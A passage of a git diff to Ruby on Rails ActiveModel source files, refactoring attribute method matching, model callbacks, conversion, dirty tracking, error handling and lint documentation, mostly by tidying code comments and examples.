             matchers = attribute_method_matchers.partition(&:plain?).reverse.flatten(1)
             match = nil
-            matchers.detect { |method| match = method.match(method_name) }
-            attribute_method_matchers_cache[method_name] = match
+            matchers.detect { |method| match = method.match(name) }
+            attribute_method_matchers_cache[name] = match
           end
         end
 
-        class AttributeMethodMatcher
+        # Define a method `name` in `mod` that dispatches to `send`
+        # using the given `extra` args. This fallbacks `define_method`
+        # and `send` if the given names cannot be compiled.
+        def define_proxy_call(include_private, mod, name, send, *extra) #:nodoc:
+          defn = if name =~ NAME_COMPILABLE_REGEXP
+            "def #{name}(*args)"
+          else
+            "define_method(:'#{name}') do |*args|"
+          end
+
+          extra = (extra.map!(&:inspect) << "*args").join(", ")
+
+          target = if send =~ CALL_COMPILABLE_REGEXP
+            "#{"self." unless include_private}#{send}(#{extra})"
+          else
+            "send(:'#{send}', #{extra})"
+          end
+
+          mod.module_eval <<-RUBY, __FILE__, __LINE__ + 1
+            #{defn}
+              #{target}
+            end
+          RUBY
+        end
+
+        class AttributeMethodMatcher #:nodoc:
           attr_reader :prefix, :suffix, :method_missing_target
 
           AttributeMethodMatch = Struct.new(:target, :attr_name, :method_name)
 
           def initialize(options = {})
-            options.symbolize_keys!
-
             if options[:prefix] == '' || options[:suffix] == ''
               ActiveSupport::Deprecation.warn(
                 "Specifying an empty prefix/suffix for an attribute method is no longer " \
@@ -376,17 +391,15 @@ module ActiveModel
               )
             end
 
-            @prefix, @suffix = options[:prefix] || '', options[:suffix] || ''
-            @regex = /^(#{Regexp.escape(@prefix)})(.+?)(#{Regexp.escape(@suffix)})$/
+            @prefix, @suffix = options.fetch(:prefix, ''), options.fetch(:suffix, '')
+            @regex = /^(?:#{Regexp.escape(@prefix)})(.*)(?:#{Regexp.escape(@suffix)})$/
             @method_missing_target = "#{@prefix}attribute#{@suffix}"
             @method_name = "#{prefix}%s#{suffix}"
           end
 
           def match(method_name)
             if @regex =~ method_name
-              AttributeMethodMatch.new(method_missing_target, $2, method_name)
-            else
-              nil
+              AttributeMethodMatch.new(method_missing_target, $1, method_name)
             end
           end
 
@@ -445,8 +458,8 @@ module ActiveModel
     end
 
     protected
-      def attribute_method?(attr_name)
-        attributes.include?(attr_name)
+      def attribute_method?(attr_name) #:nodoc:
+        respond_to_without_attributes?(:attributes) && attributes.include?(attr_name)
       end
 
     private
@@ -454,7 +467,7 @@ module ActiveModel
       # The struct's attributes are prefix, base and suffix.
       def match_attribute_method?(method_name)
         match = self.class.send(:attribute_method_matcher, method_name)
-        match && attribute_method?(match.attr_name) ? match : nil
+        match if match && attribute_method?(match.attr_name)
       end
 
       def missing_attribute(attr_name, stack)
diff --git a/activemodel/lib/active_model/callbacks.rb b/activemodel/lib/active_model/callbacks.rb
index 37d0c9a0b9..e442455a53 100644
--- a/activemodel/lib/active_model/callbacks.rb
+++ b/activemodel/lib/active_model/callbacks.rb
@@ -1,4 +1,3 @@
-require 'active_support/core_ext/array/wrap'
 require 'active_support/callbacks'
 
 module ActiveModel
@@ -7,7 +6,7 @@ module ActiveModel
   # Provides an interface for any class to have Active Record like callbacks.
   #
   # Like the Active Record methods, the callback chain is aborted as soon as
-  # one of the methods in the chain returns false.
+  # one of the methods in the chain returns +false+.
   #
   # First, extend ActiveModel::Callbacks from the class you are creating:
   #
@@ -19,9 +18,10 @@ module ActiveModel
   #
   #   define_model_callbacks :create, :update
   #
-  # This will provide all three standard callbacks (before, around and after) for
-  # both the :create and :update methods. To implement, you need to wrap the methods
-  # you want callbacks on in a block so that the callbacks get a chance to fire:
+  # This will provide all three standard callbacks (before, around and after)
+  # for both the <tt>:create</tt> and <tt>:update</tt> methods. To implement,
+  # you need to wrap the methods you want callbacks on in a block so that the
+  # callbacks get a chance to fire:
   #
   #   def create
   #     run_callbacks :create do
@@ -29,8 +29,8 @@ module ActiveModel
   #     end
   #   end
   #
-  # Then in your class, you can use the +before_create+, +after_create+ and +around_create+
-  # methods, just as you would in an Active Record module.
+  # Then in your class, you can use the +before_create+, +after_create+ and
+  # +around_create+ methods, just as you would in an Active Record module.
   #
   #   before_create :action_before_create
   #
@@ -38,39 +38,52 @@ module ActiveModel
   #     # Your code here
   #   end
   #
+  # When defining an around callback remember to yield to the block, otherwise
+  # it won't be executed:
+  #
+  #  around_create :log_status
+  #
+  #  def log_status
+  #    puts 'going to call the block...'
+  #    yield
+  #    puts 'block successfully called.'
+  #  end
+  #
   # You can choose not to have all three callbacks by passing a hash to the
-  # define_model_callbacks method.
+  # +define_model_callbacks+ method.
   #
-  #   define_model_callbacks :create, :only => :after, :before
+  #   define_model_callbacks :create, only: [:after, :before]
   #
-  # Would only create the after_create and before_create callback methods in your
-  # class.
+  # Would only create the +after_create+ and +before_create+ callback methods in
+  # your class.
   module Callbacks
-    def self.extended(base)
+    def self.extended(base) #:nodoc:
       base.class_eval do
         include ActiveSupport::Callbacks
       end
     end
 
-    # define_model_callbacks accepts the same options define_callbacks does, in case
-    # you want to overwrite a default. Besides that, it also accepts an :only option,
-    # where you can choose if you want all types (before, around or after) or just some.
+    # define_model_callbacks accepts the same options +define_callbacks+ does,
+    # in case you want to overwrite a default. Besides that, it also accepts an
+    # <tt>:only</tt> option, where you can choose if you want all types (before,
+    # around or after) or just some.
     #
-    #   define_model_callbacks :initializer, :only => :after
+    #   define_model_callbacks :initializer, only: :after
     #
-    # Note, the <tt>:only => <type></tt> hash will apply to all callbacks defined on
-    # that method call. To get around this you can call the define_model_callbacks
+    # Note, the <tt>only: <type></tt> hash will apply to all callbacks defined
+    # on that method call. To get around this you can call the define_model_callbacks
     # method as many times as you need.
     #
-    #   define_model_callbacks :create, :only => :after
-    #   define_model_callbacks :update, :only => :before
-    #   define_model_callbacks :destroy, :only => :around
+    #   define_model_callbacks :create,  only: :after
+    #   define_model_callbacks :update,  only: :before
+    #   define_model_callbacks :destroy, only: :around
     #
-    # Would create +after_create+, +before_update+ and +around_destroy+ methods only.
+    # Would create +after_create+, +before_update+ and +around_destroy+ methods
+    # only.
     #
-    # You can pass in a class to before_<type>, after_<type> and around_<type>, in which
-    # case the callback will call that class's <action>_<type> method passing the object
-    # that the callback is being called on.
+    # You can pass in a class to before_<type>, after_<type> and around_<type>,
+    # in which case the callback will call that class's <action>_<type> method
+    # passing the object that the callback is being called on.
     #
     #   class MyModel
     #     extend ActiveModel::Callbacks
@@ -84,16 +97,16 @@ module ActiveModel
     #       # obj is the MyModel instance that the callback is being called on
     #     end
     #   end
-    #
     def define_model_callbacks(*callbacks)
       options = callbacks.extract_options!
       options = {
-         :terminator => "result == false",
-         :scope => [:kind, :name],
-         :only => [:before, :around, :after]
-      }.merge(options)
+        :terminator => "result == false",
+        :skip_after_callbacks_if_terminated => true,
+        :scope => [:kind, :name],
+        :only => [:before, :around, :after]
+      }.merge!(options)
 
-      types   = Array.wrap(options.delete(:only))
+      types = Array(options.delete(:only))
 
       callbacks.each do |callback|
         define_callbacks(callback, options)
@@ -104,6 +117,8 @@ module ActiveModel
       end
     end
 
+    private
+
     def _define_before_model_callback(klass, callback) #:nodoc:
       klass.class_eval <<-CALLBACK, __FILE__, __LINE__ + 1
         def self.before_#{callback}(*args, &block)
@@ -125,7 +140,7 @@ module ActiveModel
         def self.after_#{callback}(*args, &block)
           options = args.extract_options!
           options[:prepend] = true
-          options[:if] = Array.wrap(options[:if]) << "!halted && value != false"
+          options[:if] = Array(options[:if]) << "value != false"
           set_callback(:#{callback}, :after, *(args << options), &block)
         end
       CALLBACK
diff --git a/activemodel/lib/active_model/conversion.rb b/activemodel/lib/active_model/conversion.rb
index 80a3ba51c3..48c53f0789 100644
--- a/activemodel/lib/active_model/conversion.rb
+++ b/activemodel/lib/active_model/conversion.rb
@@ -1,4 +1,3 @@
-require 'active_support/concern'
 require 'active_support/inflector'
 
 module ActiveModel
@@ -18,17 +17,23 @@ module ActiveModel
   #   end
   #
   #   cm = ContactMessage.new
-  #   cm.to_model == self # => true
-  #   cm.to_key           # => nil
-  #   cm.to_param         # => nil
-  #   cm.to_path          # => "contact_messages/contact_message"
-  #
+  #   cm.to_model == cm  # => true
+  #   cm.to_key          # => nil
+  #   cm.to_param        # => nil
+  #   cm.to_partial_path # => "contact_messages/contact_message"
   module Conversion
     extend ActiveSupport::Concern
 
     # If your object is already designed to implement all of the Active Model
     # you can use the default <tt>:to_model</tt> implementation, which simply
-    # returns self.
+    # returns +self+.
+    #
+    #   class Person
+    #     include ActiveModel::Conversion
+    #   end
+    #
+    #   person = Person.new
+    #   person.to_model == person # => true
     #
     # If your model does not act like an Active Model object, then you should
     # define <tt>:to_model</tt> yourself returning a proxy object that wraps
@@ -37,29 +42,46 @@ module ActiveModel
       self
     end
 
-    # Returns an Enumerable of all key attributes if any is set, regardless
-    # if the object is persisted or not.
+    # Returns an Enumerable of all key attributes if any is set, regardless if
+    # the object is persisted or not. If there no key attributes, returns +nil+.
+    #
+    #   class Person < ActiveRecord::Base
+    #   end
     #
-    # Note the default implementation uses persisted? just because all objects
-    # in Ruby 1.8.x responds to <tt>:id</tt>.
+    #   person = Person.create
+    #   person.to_key # => [1]
     def to_key
-      persisted? ? [id] : nil
+      key = respond_to?(:id) && id
+      key ? [key] : nil
     end
 
-    # Returns a string representing the object's key suitable for use in URLs,
-    # or nil if <tt>persisted?</tt> is false.
+    # Returns a +string+ representing the object's key suitable for use in URLs,
+    # or +nil+ if <tt>persisted?</tt> is +false+.
+    #
+    #   class Person < ActiveRecord::Base
+    #   end
+    #
+    #   person = Person.create
+    #   person.to_param # => "1"
     def to_param
       persisted? ? to_key.join('-') : nil
     end
 
-    # Returns a string identifying the path associated with the object.
+    # Returns a +string+ identifying the path associated with the object.
     # ActionPack uses this to find a suitable partial to represent the object.
+    #
+    #   class Person
+    #     include ActiveModel::Conversion
+    #   end
+    #
+    #   person = Person.new
+    #   person.to_partial_path # => "people/person"
     def to_partial_path
       self.class._to_partial_path
     end
 
     module ClassMethods #:nodoc:
-      # Provide a class level cache for the to_path. This is an
+      # Provide a class level cache for #to_partial_path. This is an
       # internal method and should not be accessed directly.
       def _to_partial_path #:nodoc:
         @_to_partial_path ||= begin
diff --git a/activemodel/lib/active_model/dirty.rb b/activemodel/lib/active_model/dirty.rb
index 166cccf161..c0b268fa4d 100644
--- a/activemodel/lib/active_model/dirty.rb
+++ b/activemodel/lib/active_model/dirty.rb
@@ -10,14 +10,14 @@ module ActiveModel
   #
   # The requirements for implementing ActiveModel::Dirty are:
   #
-  # * <tt>include ActiveModel::Dirty</tt> in your object
+  # * <tt>include ActiveModel::Dirty</tt> in your object.
   # * Call <tt>define_attribute_methods</tt> passing each method you want to
-  #   track
+  #   track.
   # * Call <tt>attr_name_will_change!</tt> before each change to the tracked
-  #   attribute
+  #   attribute.
   #
   # If you wish to also track previous changes on save or update, you need to
-  # add
+  # add:
   #
   #   @previously_changed = changes
   #
@@ -26,10 +26,9 @@ module ActiveModel
   # A minimal implementation could be:
   #
   #   class Person
-  #
   #     include ActiveModel::Dirty
   #
-  #     define_attribute_methods [:name]
+  #     define_attribute_methods :name
   #
   #     def name
   #       @name
@@ -44,46 +43,49 @@ module ActiveModel
   #       @previously_changed = changes
   #       @changed_attributes.clear
   #     end
-  #
   #   end
   #
-  # == Examples:
-  #
   # A newly instantiated object is unchanged:
+  #
   #   person = Person.find_by_name('Uncle Bob')
   #   person.changed?       # => false
   #
   # Change the name:
+  #
   #   person.name = 'Bob'
   #   person.changed?       # => true
   #   person.name_changed?  # => true
-  #   person.name_was       # => 'Uncle Bob'
-  #   person.name_change    # => ['Uncle Bob', 'Bob']
+  #   person.name_was       # => "Uncle Bob"
+  #   person.name_change    # => ["Uncle Bob", "Bob"]
   #   person.name = 'Bill'
-  #   person.name_change    # => ['Uncle Bob', 'Bill']
+  #   person.name_change    # => ["Uncle Bob", "Bill"]
   #
   # Save the changes:
+  #
   #   person.save
   #   person.changed?       # => false
   #   person.name_changed?  # => false
   #
   # Assigning the same value leaves the attribute unchanged:
+  #
   #   person.name = 'Bill'
   #   person.name_changed?  # => false
   #   person.name_change    # => nil
   #
   # Which attributes have changed?
+  #
   #   person.name = 'Bob'
-  #   person.changed        # => ['name']
-  #   person.changes        # => { 'name' => ['Bill', 'Bob'] }
+  #   person.changed        # => ["name"]
+  #   person.changes        # => {"name" => ["Bill", "Bob"]}
   #
   # If an attribute is modified in-place then make use of <tt>[attribute_name]_will_change!</tt>
-  # to mark that the attribute is changing. Otherwise ActiveModel can't track changes to
-  # in-place attributes.
+  # to mark that the attribute is changing. Otherwise ActiveModel can't track
+  # changes to in-place attributes.
   #
   #   person.name_will_change!
+  #   person.name_change    # => ["Bill", "Bill"]
   #   person.name << 'y'
-  #   person.name_change    # => ['Bill', 'Billy']
+  #   person.name_change    # => ["Bill", "Billy"]
   module Dirty
     extend ActiveSupport::Concern
     include ActiveModel::AttributeMethods
@@ -93,40 +95,50 @@ module ActiveModel
       attribute_method_affix :prefix => 'reset_', :suffix => '!'
     end
 
-    # Returns true if any attribute have unsaved changes, false otherwise.
+    # Returns +true+ if any attribute have unsaved changes, +false+ otherwise.
+    #
     #   person.changed? # => false
     #   person.name = 'bob'
     #   person.changed? # => true
     def changed?
-      !changed_attributes.empty?
+      changed_attributes.present?
     end
 
-    # List of attributes with unsaved changes.
+    # Returns an array with the name of the attributes with unsaved changes.
+    #
     #   person.changed # => []
     #   person.name = 'bob'
-    #   person.changed # => ['name']
+    #   person.changed # => ["name"]
     def changed
       changed_attributes.keys
     end
 
-    # Map of changed attrs => [original value, new value].
+    # Returns a hash of changed attributes indicating their original
+    # and new values like <tt>attr => [original value, new value]</tt>.
+    #
     #   person.changes # => {}
     #   person.name = 'bob'
-    #   person.changes # => { 'name' => ['bill', 'bob'] }
+    #   person.changes # => { "name" => ["bill", "bob"] }
     def changes
       HashWithIndifferentAccess[changed.map { |attr| [attr, attribute_change(attr)] }]
     end
 
-    # Map of attributes that were changed when the model was saved.
-    #   person.name # => 'bob'
+    # Returns a hash of attributes that were changed before the model was saved.
+    #
+    #   person.name # => "bob"
     #   person.name = 'robert'
     #   person.save
-    #   person.previous_changes # => {'name' => ['bob, 'robert']}
+    #   person.previous_changes # => {"name" => ["bob", "robert"]}
     def previous_changes
       @previously_changed
     end
 
-    # Map of change <tt>attr => original value</tt>.
+    # Returns a hash of the attributes with unsaved changes indicating their original
+    # values like <tt>attr => original value</tt>.
+    #
+    #   person.name # => "bob"
+    #   person.name = 'robert'
+    #   person.changed_attributes # => {"name" => "bob"}
     def changed_attributes
       @changed_attributes ||= {}
     end
@@ -150,13 +162,15 @@ module ActiveModel
 
       # Handle <tt>*_will_change!</tt> for +method_missing+.
       def attribute_will_change!(attr)
+        return if attribute_changed?(attr)
+
         begin
           value = __send__(attr)
           value = value.duplicable? ? value.clone : value
         rescue TypeError, NoMethodError
         end
 
-        changed_attributes[attr] = value unless changed_attributes.include?(attr)
+        changed_attributes[attr] = value
       end
 
       # Handle <tt>reset_*!</tt> for +method_missing+.
diff --git a/activemodel/lib/active_model/errors.rb b/activemodel/lib/active_model/errors.rb
index 8337b04c0d..b3b9ba8e56 100644
--- a/activemodel/lib/active_model/errors.rb
+++ b/activemodel/lib/active_model/errors.rb
@@ -1,16 +1,12 @@
 # -*- coding: utf-8 -*-
 
-require 'active_support/core_ext/array/wrap'
 require 'active_support/core_ext/array/conversions'
 require 'active_support/core_ext/string/inflections'
-require 'active_support/core_ext/object/blank'
-require 'active_support/core_ext/hash/reverse_merge'
-require 'active_support/ordered_hash'
 
 module ActiveModel
   # == Active Model Errors
   #
-  # Provides a modified +OrderedHash+ that you can include in your object
+  # Provides a modified +Hash+ that you can include in your object
   # for handling error messages and interacting with Action Pack helpers.
   #
   # A minimal implementation could be:
@@ -57,8 +53,8 @@ module ActiveModel
   # The above allows you to do:
   #
   #   p = Person.new
-  #   p.validate!             # => ["can not be nil"]
-  #   p.errors.full_messages  # => ["name can not be nil"]
+  #   person.validate!            # => ["can not be nil"]
+  #   person.errors.full_messages # => ["name can not be nil"]
   #   # etc..
   class Errors
     include Enumerable
@@ -76,58 +72,90 @@ module ActiveModel
     #   end
     def initialize(base)
       @base     = base
-      @messages = ActiveSupport::OrderedHash.new
+      @messages = {}
     end
 
-    # Clear the messages
+    def initialize_dup(other) #:nodoc:
+      @messages = other.messages.dup
+      super
+    end
+
+    # Clear the error messages.
+    #
+    #   person.errors.full_messages # => ["name can not be nil"]
+    #   person.errors.clear
+    #   person.errors.full_messages # => []
     def clear
       messages.clear
     end
 
-    # Do the error messages include an error with key +error+?
-    def include?(error)
-      (v = messages[error]) && v.any?
+    # Returns +true+ if the error messages include an error for the given key
+    # +attribute+, +false+ otherwise.
+    #
+    #   person.errors.messages        # => { :name => ["can not be nil"] }
+    #   person.errors.include?(:name) # => true
+    #   person.errors.include?(:age)  # => false
+    def include?(attribute)
+      (v = messages[attribute]) && v.any?
     end
+    # aliases include?
     alias :has_key? :include?
 
-    # Get messages for +key+
+    # Get messages for +key+.
+    #
+    #   person.errors.messages   # => { :name => ["can not be nil"] }
+    #   person.errors.get(:name) # => ["can not be nil"]
+    #   person.errors.get(:age)  # => nil
     def get(key)
       messages[key]
     end
 
-    # Set messages for +key+ to +value+
+    # Set messages for +key+ to +value+.
+    #
+    #   person.errors.get(:name) # => ["can not be nil"]
+    #   person.errors.set(:name, ["can't be nil"])
+    #   person.errors.get(:name) # => ["can't be nil"]
     def set(key, value)
       messages[key] = value
     end
 
+    # Delete messages for +key+. Returns the deleted messages.
+    #
+    #   person.errors.get(:name)    # => ["can not be nil"]
+    #   person.errors.delete(:name) # => ["can not be nil"]
+    #   person.errors.get(:name)    # => nil
+    def delete(key)
+      messages.delete(key)
+    end
+
     # When passed a symbol or a name of a method, returns an array of errors
     # for the method.
     #
-    #   p.errors[:name]   # => ["can not be nil"]
-    #   p.errors['name']  # => ["can not be nil"]
+    #   person.errors[:name]  # => ["can not be nil"]
+    #   person.errors['name'] # => ["can not be nil"]
     def [](attribute)
       get(attribute.to_sym) || set(attribute.to_sym, [])
     end
 
     # Adds to the supplied attribute the supplied error message.
     #
-    #   p.errors[:name] = "must be set"
-    #   p.errors[:name] # => ['must be set']
+    #   person.errors[:name] = "must be set"
+    #   person.errors[:name] # => ['must be set']
     def []=(attribute, error)
-      self[attribute.to_sym] << error
+      self[attribute] << error
     end
 
     # Iterates through each error key, value pair in the error messages hash.
     # Yields the attribute and the error for that attribute. If the attribute
     # has more than one error message, yields once for each error message.
     #
-    #   p.errors.add(:name, "can't be blank")
-    #   p.errors.each do |attribute, errors_array|
+    #   person.errors.add(:name, "can't be blank")
+    #   person.errors.each do |attribute, error|
     #     # Will yield :name and "can't be blank"
     #   end
     #
-    #   p.errors.add(:name, "must be specified")
-    #   p.errors.each do |attribute, errors_array|
+    #   person.errors.add(:name, "must be specified")
+    #   person.errors.each do |attribute, error|
     #     # Will yield :name and "can't be blank"
     #     # then yield :name and "must be specified"
     #   end
@@ -139,53 +167,65 @@ module ActiveModel
 
     # Returns the number of error messages.
     #
-    #   p.errors.add(:name, "can't be blank")
-    #   p.errors.size # => 1
-    #   p.errors.add(:name, "must be specified")
-    #   p.errors.size # => 2
+    #   person.errors.add(:name, "can't be blank")
+    #   person.errors.size # => 1
+    #   person.errors.add(:name, "must be specified")
+    #   person.errors.size # => 2
     def size
       values.flatten.size
     end
 
-    # Returns all message values
+    # Returns all message values.
+    #
+    #   person.errors.messages # => { :name => ["can not be nil", "must be specified"] }
+    #   person.errors.values   # => [["can not be nil", "must be specified"]]
     def values
       messages.values
     end
 
-    # Returns all message keys
+    # Returns all message keys.
+    #
+    #   person.errors.messages # => { :name => ["can not be nil", "must be specified"] }
+    #   person.errors.keys     # => [:name]
     def keys
       messages.keys
     end
 
-    # Returns an array of error messages, with the attribute name included
+    # Returns an array of error messages, with the attribute name included.
     #
-    #   p.errors.add(:name, "can't be blank")
-    #   p.errors.add(:name, "must be specified")
-    #   p.errors.to_a # => ["name can't be blank", "name must be specified"]
+    #   person.errors.add(:name, "can't be blank")
+    #   person.errors.add(:name, "must be specified")
+    #   person.errors.to_a # => ["name can't be blank", "name must be specified"]
     def to_a
       full_messages
     end
 
     # Returns the number of error messages.
-    #   p.errors.add(:name, "can't be blank")
-    #   p.errors.count # => 1
-    #   p.errors.add(:name, "must be specified")
-    #   p.errors.count # => 2
+    #
+    #   person.errors.add(:name, "can't be blank")
+    #   person.errors.count # => 1
+    #   person.errors.add(:name, "must be specified")
+    #   person.errors.count # => 2
     def count
       to_a.size
     end
 
-    # Returns true if no errors are found, false otherwise.
+    # Returns +true+ if no errors are found, +false+ otherwise.
+    # If the error message is a string it can be empty.
+    #
+    #   person.errors.full_messages # => ["name can not be nil"]
+    #   person.errors.empty?        # => false
     def empty?
-      all? { |k, v| v && v.empty? }
+      all? { |k, v| v && v.empty? && !v.is_a?(String) }
     end
+    # aliases empty?
     alias_method :blank?, :empty?
 
     # Returns an xml formatted representation of the Errors hash.
     #
-    #   p.errors.add(:name, "can't be blank")
-    #   p.errors.add(:name, "must be specified")
-    #   p.errors.to_xml
+    #   person.errors.add(:name, "can't be blank")
+    #   person.errors.add(:name, "must be specified")
+    #   person.errors.to_xml
     #   # =>
     #   #  <?xml version=\"1.0\" encoding=\"UTF-8\"?>
     #   #  <errors>
@@ -193,34 +233,80 @@ module ActiveModel
     #   #    <error>name must be specified</error>
     #   #  </errors>
     def to_xml(options={})
-      to_a.to_xml options.reverse_merge(:root => "errors", :skip_types => true)
+      to_a.to_xml({ :root => "errors", :skip_types => true }.merge!(options))
     end
 
-    # Returns an ActiveSupport::OrderedHash that can be used as the JSON representation for this object.
+    # Returns a Hash that can be used as the JSON representation for this
+    # object. You can pass the <tt>:full_messages</tt> option. This determines
+    # if the json object should contain full messages or not (false by default).
+    #
+    #   person.as_json                      # => { :name => ["can not be nil"] }
+    #   person.as_json(full_messages: true) # => { :name => ["name can not be nil"] }
     def as_json(options=nil)
-      to_hash
+      to_hash(options && options[:full_messages])
     end
 
-    def to_hash
-      messages.dup
+    # Returns a Hash of attributes with their error messages. If +full_messages+
+    # is +true+, it will contain full messages (see +full_message+).
+    #
+    #   person.to_hash       # => { :name => ["can not be nil"] }
+    #   person.to_hash(true) # => { :name => ["name can not be nil"] }
+    def to_hash(full_messages = false)
+      if full_messages
+        messages = {}
+        self.messages.each do |attribute, array|
+          messages[attribute] = array.map { |message| full_message(attribute, message) }
+        end
+        messages
+      else
+        self.messages.dup
+      end
     end
 
-    # Adds +message+ to the error messages on +attribute+. More than one error can be added to the same
-    # +attribute+.
-    # If no +message+ is supplied, <tt>:invalid</tt> is assumed.
+    # Adds +message+ to the error messages on +attribute+. More than one error
+    # can be added to the same +attribute+. If no +message+ is supplied,
+    # <tt>:invalid</tt> is assumed.
     #
-    # If +message+ is a symbol, it will be translated using the appropriate scope (see +translate_error+).
-    # If +message+ is a proc, it will be called, allowing for things like <tt>Time.now</tt> to be used within an error.
+    #   person.errors.add(:name)
+    #   # => ["is invalid"]
+    #   person.errors.add(:name, 'must be implemented')
+    #   # => ["is invalid", "must be implemented"]
+    #
+    #   person.errors.messages
+    #   # => { :name => ["must be implemented", "is invalid"] }
+    #
+    # If +message+ is a symbol, it will be translated using the appropriate
+    # scope (see +generate_message+).
+    #
+    # If +message+ is a proc, it will be called, allowing for things like
+    # <tt>Time.now</tt> to be used within an error.
+    #
+    # If the <tt>:strict</tt> option is set to true will raise
+    # ActiveModel::StrictValidationFailed instead of adding the error.
+    # <tt>:strict</tt> option can also be set to any other exception.
+    #
+    #   person.errors.add(:name, nil, strict: true)
+    #   # => ActiveModel::StrictValidationFailed: name is invalid
+    #   person.errors.add(:name, nil, strict: NameIsInvalid)
+    #   # => NameIsInvalid: name is invalid
+    #
+    #   person.errors.messages # => {}
     def add(attribute, message = nil, options = {})
       message = normalize_message(attribute, message, options)
-      if options[:strict]
-        raise ActiveModel::StrictValidationFailed,  message
+      if exception = options[:strict]
+        exception = ActiveModel::StrictValidationFailed if exception == true
+        raise exception, full_message(attribute, message)
       end
 
       self[attribute] << message
     end
 
-    # Will add an error message to each of the attributes in +attributes+ that is empty.
+    # Will add an error message to each of the attributes in +attributes+
+    # that is empty.
+    #
+    #   person.errors.add_on_empty(:name)
+    #   person.errors.messages
+    #   # => { :name => ["can't be empty"] }
     def add_on_empty(attributes, options = {})
       [attributes].flatten.each do |attribute|
         value = @base.send(:read_attribute_for_validation, attribute)
@@ -229,7 +315,12 @@ module ActiveModel
       end
     end
 
-    # Will add an error message to each of the attributes in +attributes+ that is blank (using Object#blank?).
+    # Will add an error message to each of the attributes in +attributes+ that
+    # is blank (using Object#blank?).
+    #
+    #   person.errors.add_on_blank(:name)
+    #   person.errors.messages
+    #   # => { :name => ["can't be blank"] }
     def add_on_blank(attributes, options = {})
       [attributes].flatten.each do |attribute|
         value = @base.send(:read_attribute_for_validation, attribute)
@@ -237,10 +328,11 @@ module ActiveModel
       end
     end
 
-    # Returns true if an error on the attribute with the given message is present, false otherwise.
-    # +message+ is treated the same as for +add+.
-    #   p.errors.add :name, :blank
-    #   p.errors.added? :name, :blank # => true
+    # Returns +true+ if an error on the attribute with the given message is
+    # present, +false+ otherwise. +message+ is treated the same as for +add+.
+    #
+    #   person.errors.add :name, :blank
+    #   person.errors.added? :name, :blank # => true
     def added?(attribute, message = nil, options = {})
       message = normalize_message(attribute, message, options)
       self[attribute].include? message
@@ -248,25 +340,24 @@ module ActiveModel
 
     # Returns all the full error messages in an array.
     #
-    #   class Company
+    #   class Person
     #     validates_presence_of :name, :address, :email
-    #     validates_length_of :name, :in => 5..30
+    #     validates_length_of :name, in: 5..30
     #   end
     #
-    #   company = Company.create(:address => '123 First St.')
-    #   company.errors.full_messages # =>
-    #     ["Name is too short (minimum is 5 characters)", "Name can't be blank", "Email can't be blank"]
+    #   person = Person.create(address: '123 First St.')
+    #   person.errors.full_messages
+    #   # => ["Name is too short (minimum is 5 characters)", "Name can't be blank", "Email can't be blank"]
     def full_messages
       map { |attribute, message| full_message(attribute, message) }
     end
 
     # Returns a full message for a given attribute.
     #
-    #   company.errors.full_message(:name, "is invalid")  # =>
-    #     "Name is invalid"
+    #   person.errors.full_message(:name, 'is invalid') # => "Name is invalid"
     def full_message(attribute, message)
       return message if attribute == :base
-      attr_name = attribute.to_s.gsub('.', '_').humanize
+      attr_name = attribute.to_s.tr('.', '_').humanize
       attr_name = @base.class.human_attribute_name(attribute, :default => attr_name)
       I18n.t(:"errors.format", {
         :default   => "%{attribute} %{message}",
@@ -279,10 +370,11 @@ module ActiveModel
     # (<tt>activemodel.errors.messages</tt>).
     #
     # Error messages are first looked up in <tt>models.MODEL.attributes.ATTRIBUTE.MESSAGE</tt>,
-    # if it's not there, it's looked up in <tt>models.MODEL.MESSAGE</tt> and if that is not
-    # there also, it returns the translation of the default message
-    # (e.g. <tt>activemodel.errors.messages.MESSAGE</tt>). The translated model name,
-    # translated attribute name and the value are available for interpolation.
+    # if it's not there, it's looked up in <tt>models.MODEL.MESSAGE</tt> and if
+    # that is not there also, it returns the translation of the default message
+    # (e.g. <tt>activemodel.errors.messages.MESSAGE</tt>). The translated model
+    # name, translated attribute name and the value are available for
+    # interpolation.
     #
     # When using inheritance in your models, it will check all the inherited
     # models too, but only if the model itself hasn't been found. Say you have
@@ -298,7 +390,6 @@ module ActiveModel
     # * <tt>activemodel.errors.messages.blank</tt>
     # * <tt>errors.attributes.title.blank</tt>
     # * <tt>errors.messages.blank</tt>
-    #
     def generate_message(attribute, type = :invalid, options = {})
       type = options.delete(:message) if options[:message].is_a?(Symbol)
 
@@ -327,7 +418,7 @@ module ActiveModel
         :model => @base.class.model_name.human,
         :attribute => @base.class.human_attribute_name(attribute),
         :value => value
-      }.merge(options)
+      }.merge!(options)
 
       I18n.translate(key, options)
     end
@@ -336,9 +427,10 @@ module ActiveModel
     def normalize_message(attribute, message, options)
       message ||= :invalid
 
-      if message.is_a?(Symbol)
+      case message
+      when Symbol
         generate_message(attribute, message, options.except(*CALLBACKS_OPTIONS))
-      elsif message.is_a?(Proc)
+      when Proc
         message.call
       else
         message
@@ -346,6 +438,21 @@ module ActiveModel
     end
   end
 
+  # Raised when a validation cannot be corrected by end users and are considered
+  # exceptional.
+  #
+  #   class Person
+  #     include ActiveModel::Validations
+  #
+  #     attr_accessor :name
+  #
+  #     validates_presence_of :name, strict: true
+  #   end
+  #
+  #   person = Person.new
+  #   person.name = nil
+  #   person.valid?
+  #   # => ActiveModel::StrictValidationFailed: Name can't be blank
   class StrictValidationFailed < StandardError
   end
 end
diff --git a/activemodel/lib/active_model/lint.rb b/activemodel/lib/active_model/lint.rb
index bfe7ea1869..550fa474ea 100644
--- a/activemodel/lib/active_model/lint.rb
+++ b/activemodel/lib/active_model/lint.rb
@@ -3,23 +3,29 @@ module ActiveModel
     # == Active Model Lint Tests
     #
     # You can test whether an object is compliant with the Active Model API by
-    # including <tt>ActiveModel::Lint::Tests</tt> in your TestCase. It will include
-    # tests that tell you whether your object is fully compliant, or if not,
-    # which aspects of the API are not implemented.
+    # including <tt>ActiveModel::Lint::Tests</tt> in your TestCase. It will
+    # include tests that tell you whether your object is fully compliant,
+    # or if not, which aspects of the API are not implemented.
+    #
+    # Note an object is not required to implement all APIs in order to work
+    # with Action Pack. This module only intends to provide guidance in case
+    # you want all features out of the box.
     #
     # These tests do not attempt to determine the semantic correctness of the
-    # returned values. For instance, you could implement valid? to always
-    # return true, and the tests would pass. It is up to you to ensure that
-    # the values are semantically meaningful.
+    # returned values. For instance, you could implement <tt>valid?</tt> to
+    # always return true, and the tests would pass. It is up to you to ensure
+    # that the values are semantically meaningful.
     #
-    # Objects you pass in are expected to return a compliant object from a
